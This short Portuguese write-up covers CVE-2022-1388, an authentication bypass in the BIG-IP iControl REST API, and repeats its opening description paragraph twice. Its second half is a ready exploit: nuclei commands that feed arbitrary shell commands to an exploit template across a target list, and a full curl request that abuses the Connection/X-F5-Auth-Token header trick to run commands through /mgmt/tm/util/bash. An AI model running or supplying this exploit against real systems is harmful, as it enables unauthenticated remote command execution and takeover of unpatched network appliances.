
CVE-2022-1388 é uma vulnerabilidade de bypass de autenticação no componente REST da API iControl do BIG-IP que recebeu uma pontuação CVSSv3 de 9.8. A API REST do iControl é usada para o gerenciamento e a configuração de dispositivos BIG-IP. CVE-2022-1388 poderia ser explorada por um atacante não autenticado com acesso de rede à porta de gerenciamento ou aos endereços IP próprios dos dispositivos que usam BIG-IP. A exploração permitiria ao atacante executar comandos arbitrários do sistema, criar e excluir arquivos e desativar serviços.
CVE-2022-1388 é uma vulnerabilidade de bypass de autenticação no componente REST da API iControl do BIG-IP, à qual foi atribuída uma pontuação CVSSv3 de 9.8. A API REST iControl é usada para o gerenciamento e a configuração de dispositivos BIG-IP. A CVE-2022-1388 poderia ser explorada por um atacante não autenticado com acesso de rede à porta de gerenciamento ou aos endereços IP self de dispositivos que usam BIG-IP. A exploração permitiria ao atacante executar comandos arbitrários do sistema, criar e excluir arquivos e desabilitar serviços.
Este template do nuclei aceita parâmetro de shell para exploração. Queríamos testar tokens obtidos de outro fluxo de trabalho ou de uma busca manual, então usamos o recurso de variável de CLI do nuclei para alimentar dinamicamente um único valor de token ou uma lista de tokens nesses templates em tempo de execução.
-V, -var value custom vars in var=value format
nuclei -l targets.txt -t exploit-CVE-2022-1388.yaml -vv -var CMD=commands.txt
nuclei -l targets.txt -t exploit-CVE-2022-1388.yaml -vv -var CMD=uname -a

curl -su admin \
-H "Host: localhost:8100" \
-H "Content-Type: application/json" \
-H "Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: a" \
-H "Authorization: Basic YWRtaW46" \
http://{{TARGET_IP}}/mgmt/tm/util/bash \
-d '{"command":"run","utilCmdArgs":"-c id"}'